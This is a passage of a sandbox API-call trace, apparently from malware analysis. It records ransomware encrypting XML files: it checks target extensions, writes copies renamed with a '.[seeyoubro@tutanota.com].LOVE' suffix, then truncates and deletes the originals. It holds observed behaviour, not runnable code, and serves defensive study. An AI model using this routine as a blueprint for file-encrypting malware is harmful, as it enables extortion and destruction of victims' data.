(lpString1=".xlsx", lpString2="a.xml") returned -1 [0197.672] lstrlenW (lpString=".ppt") returned 4 [0197.672] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0197.672] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0197.672] lstrlenW (lpString=".zip") returned 4 [0197.672] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0197.672] lstrlenW (lpString=".rar") returned 4 [0197.672] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0197.672] lstrlenW (lpString=".bz2") returned 4 [0197.672] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0197.672] lstrlenW (lpString=".7z") returned 3 [0197.672] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0197.672] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0197.672] lstrlenW (lpString=".dbf") returned 4 [0197.672] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0197.672] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0197.672] lstrlenW (lpString=".1cd") returned 4 [0197.672] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0197.673] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0197.673] lstrlenW (lpString=".jpg") returned 4 [0197.673] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0197.673] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0197.673] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0197.673] lstrlenW (lpString=".doc") returned 4 [0197.673] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0197.673] lstrlenW (lpString=".docx") returned 5 [0197.673] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0197.673] lstrlenW (lpString=".pdf") returned 4 [0197.673] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0197.673] lstrlenW (lpString=".xls") returned 4 [0197.673] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0197.673] lstrlenW (lpString=".xlsx") returned 5 [0197.673] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0197.673] lstrlenW (lpString=".ppt") returned 4 [0197.673] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0197.673] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0197.673] lstrlenW (lpString=".zip") returned 4 [0197.673] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0197.673] lstrlenW (lpString=".rar") returned 4 [0197.673] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0197.673] lstrlenW (lpString=".bz2") returned 4 [0197.673] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0197.673] lstrlenW (lpString=".7z") returned 3 [0197.673] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0197.673] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0197.673] lstrlenW (lpString=".dbf") returned 4 [0197.673] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0197.674] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0197.674] lstrlenW (lpString=".1cd") returned 4 [0197.674] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0197.674] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0197.674] lstrlenW (lpString=".jpg") returned 4 [0197.674] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0197.674] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0197.674] lstrlenW (lpString="Parameterinfo.xml") returned 17 [0197.674] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0197.674] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2d9ff14 | out: lpFileSize=0x2d9ff14*=201796) returned 1 [0197.674] CloseHandle (hObject=0x338) returned 1 [0197.674] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml")) returned 0x80 [0197.674] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0197.674] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0197.675] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.675] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.675] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0197.675] GetLastError () returned 0x0 [0197.675] ReadFile (in: hFile=0x338, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x31444, lpOverlapped=0x0) returned 1 [0197.840] WriteFile (in: hFile=0x340, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x31450, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x31450, lpOverlapped=0x0) returned 1 [0197.844] ReadFile (in: hFile=0x338, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0197.844] WriteFile (in: hFile=0x340, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xf6, lpOverlapped=0x0) returned 1 [0197.845] SetEndOfFile (hFile=0x340) returned 1 [0197.845] CloseHandle (hObject=0x340) returned 1 [0197.849] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.849] SetEndOfFile (hFile=0x338) returned 1 [0197.851] CloseHandle (hObject=0x338) returned 1 [0197.851] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0197.852] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml")) returned 1 [0197.852] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0197.852] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0197.852] lstrlenW (lpString=".doc") returned 4 [0197.852] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0197.852] lstrlenW (lpString=".docx") returned 5 [0197.852] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0197.852] lstrlenW (lpString=".pdf") returned 4 [0197.852] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0197.852] lstrlenW (lpString=".xls") returned 4 [0197.852] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0197.852] lstrlenW (lpString=".xlsx") returned 5 [0197.852] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0197.852] lstrlenW (lpString=".ppt") returned 4 [0197.852] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0197.852] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0197.852] lstrlenW (lpString=".zip") returned 4 [0197.852] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0197.852] lstrlenW (lpString=".rar") returned 4 [0197.852] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0197.852] lstrlenW (lpString=".bz2") returned 4 [0197.852] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0197.852] lstrlenW (lpString=".7z") returned 3 [0197.853] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0197.853] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0197.853] lstrlenW (lpString=".dbf") returned 4 [0197.853] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0197.853] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0197.853] lstrlenW (lpString=".1cd") returned 4 [0197.853] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0197.853] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0197.853] lstrlenW (lpString=".jpg") returned 4 [0197.853] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0197.853] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0197.853] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0197.853] lstrlenW (lpString=".doc") returned 4 [0197.853] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0197.853] lstrlenW (lpString=".docx") returned 5 [0197.853] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0197.853] lstrlenW (lpString=".pdf") returned 4 [0197.853] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0197.853] lstrlenW (lpString=".xls") returned 4 [0197.853] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0197.853] lstrlenW (lpString=".xlsx") returned 5 [0197.853] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0197.853] lstrlenW (lpString=".ppt") returned 4 [0197.853] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0197.853] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0197.853] lstrlenW (lpString=".zip") returned 4 [0197.853] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0197.853] lstrlenW (lpString=".rar") returned 4 [0197.853] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0197.853] lstrlenW (lpString=".bz2") returned 4 [0197.853] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0197.853] lstrlenW (lpString=".7z") returned 3 [0197.853] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0197.854] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0197.854] lstrlenW (lpString=".dbf") returned 4 [0197.854] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0197.854] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0197.854] lstrlenW (lpString=".1cd") returned 4 [0197.854] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0197.854] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0197.854] lstrlenW (lpString=".jpg") returned 4 [0197.854] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0197.854] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0197.854] lstrlenW (lpString="Strings.xml") returned 11 [0197.854] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0197.854] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2d9ff14 | out: lpFileSize=0x2d9ff14*=14084) returned 1 [0197.854] CloseHandle (hObject=0x338) returned 1 [0197.854] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml")) returned 0x80 [0197.854] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\strings.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0197.854] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0197.855] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.855] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.855] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\strings.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0197.855] GetLastError () returned 0x0 [0197.855] ReadFile (in: hFile=0x338, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x3704, lpOverlapped=0x0) returned 1 [0197.971] WriteFile (in: hFile=0x340, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x3710, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x3710, lpOverlapped=0x0) returned 1 [0197.972] ReadFile (in: hFile=0x338, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0197.972] WriteFile (in: hFile=0x340, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xea, lpOverlapped=0x0) returned 1 [0197.972] SetEndOfFile (hFile=0x340) returned 1 [0197.972] CloseHandle (hObject=0x340) returned 1 [0197.973] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.973] SetEndOfFile (hFile=0x338) returned 1 [0197.974] CloseHandle (hObject=0x338) returned 1 [0197.974] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0197.975] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml")) returned 1 [0197.975] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0197.975] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0197.975] lstrlenW (lpString=".doc") returned 4 [0197.975] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0197.975] lstrlenW (lpString=".docx") returned 5 [0197.975] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0197.975] lstrlenW (lpString=".pdf") returned 4 [0197.975] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0197.975] lstrlenW (lpString=".xls") returned 4 [0197.975] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0197.975] lstrlenW (lpString=".xlsx") returned 5 [0197.975] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0197.975] lstrlenW (lpString=".ppt") returned 4 [0197.975] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0197.975] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0197.975] lstrlenW (lpString=".zip") returned 4 [0197.975] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0197.975] lstrlenW (lpString=".rar") returned 4 [0197.975] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0197.976] lstrlenW (lpString=".bz2") returned 4 [0197.976] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0197.976] lstrlenW (lpString=".7z") returned 3 [0197.976] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0197.976] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0197.976] lstrlenW (lpString=".dbf") returned 4 [0197.976] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0197.976] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0197.976] lstrlenW (lpString=".1cd") returned 4 [0197.976] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0197.976] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0197.976] lstrlenW (lpString=".jpg") returned 4 [0197.976] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0197.976] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0197.976] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0197.976] lstrlenW (lpString=".doc") returned 4 [0197.976] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0197.976] lstrlenW (lpString=".docx") returned 5 [0197.976] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0197.976] lstrlenW (lpString=".pdf") returned 4 [0197.976] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0197.976] lstrlenW (lpString=".xls") returned 4 [0197.976] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0197.976] lstrlenW (lpString=".xlsx") returned 5 [0197.976] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0197.976] lstrlenW (lpString=".ppt") returned 4 [0197.976] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0197.976] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0197.976] lstrlenW (lpString=".zip") returned 4 [0197.976] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0197.977] lstrlenW (lpString=".rar") returned 4 [0197.977] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0197.977] lstrlenW (lpString=".bz2") returned 4 [0197.977] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0197.977] lstrlenW (lpString=".7z") returned 3 [0197.977] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0197.977] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0197.977] lstrlenW (lpString=".dbf") returned 4 [0197.977] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0197.977] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0197.977] lstrlenW (lpString=".1cd") returned 4 [0197.977] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0197.977] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0197.977] lstrlenW (lpString=".jpg") returned 4 [0197.977] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0197.977] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0197.977] lstrlenW (lpString="UiInfo.xml") returned 10 [0197.977] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0197.977] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2d9ff14 | out: lpFileSize=0x2d9ff14*=38898) returned 1 [0197.978] CloseHandle (hObject=0x338) returned 1 [0197.978] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml")) returned 0x80 [0197.978] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0197.978] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0197.978] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.978] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.978] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0197.978] GetLastError () returned 0x0 [0197.978] ReadFile (in: hFile=0x338, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x97f2, lpOverlapped=0x0) returned 1 [0198.023] WriteFile (in: hFile=0x340, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x9800, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x9800, lpOverlapped=0x0) returned 1 [0198.024] ReadFile (in: hFile=0x338, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0198.024] WriteFile (in: hFile=0x340, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xe8, lpOverlapped=0x0) returned 1 [0198.025] SetEndOfFile (hFile=0x340) returned 1 [0198.025] CloseHandle (hObject=0x340) returned 1 [0198.026] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.026] SetEndOfFile (hFile=0x338) returned 1 [0198.026] CloseHandle (hObject=0x338) returned 1 [0198.026] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0198.027] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml")) returned 1 [0198.027] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0198.027] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0198.027] lstrlenW (lpString=".doc") returned 4 [0198.027] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0198.027] lstrlenW (lpString=".docx") returned 5 [0198.027] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0198.027] lstrlenW (lpString=".pdf") returned 4 [0198.027] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0198.027] lstrlenW (lpString=".xls") returned 4 [0198.027] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0198.027] lstrlenW (lpString=".xlsx") returned 5 [0198.027] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0198.027] lstrlenW (lpString=".ppt") returned 4 [0198.027] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0198.027] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0198.027] lstrlenW (lpString=".zip") returned 4 [0198.027] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0198.028] lstrlenW (lpString=".rar") returned 4 [0198.028] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0198.028] lstrlenW (lpString=".bz2") returned 4 [0198.028] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0198.028] lstrlenW (lpString=".7z") returned 3 [0198.028] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0198.028] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0198.028] lstrlenW (lpString=".dbf") returned 4 [0198.028] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0198.028] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0198.028] lstrlenW (lpString=".1cd") returned 4 [0198.028] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0198.028] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0198.028] lstrlenW (lpString=".jpg") returned 4 [0198.028] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0198.028] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0198.028] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0198.028] lstrlenW (lpString=".doc") returned 4 [0198.028] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0198.028] lstrlenW (lpString=".docx") returned 5 [0198.028] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0198.028] lstrlenW (lpString=".pdf") returned 4 [0198.028] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0198.028] lstrlenW (lpString=".xls") returned 4 [0198.028] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0198.028] lstrlenW (lpString=".xlsx") returned 5 [0198.028] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0198.028] lstrlenW (lpString=".ppt") returned 4 [0198.028] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0198.029] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0198.029] lstrlenW (lpString=".zip") returned 4 [0198.029] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0198.029] lstrlenW (lpString=".rar") returned 4 [0198.029] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0198.029] lstrlenW (lpString=".bz2") returned 4 [0198.029] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0198.029] lstrlenW (lpString=".7z") returned 3 [0198.029] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0198.029] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0198.029] lstrlenW (lpString=".dbf") returned 4 [0198.029] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0198.029] lstrlenW 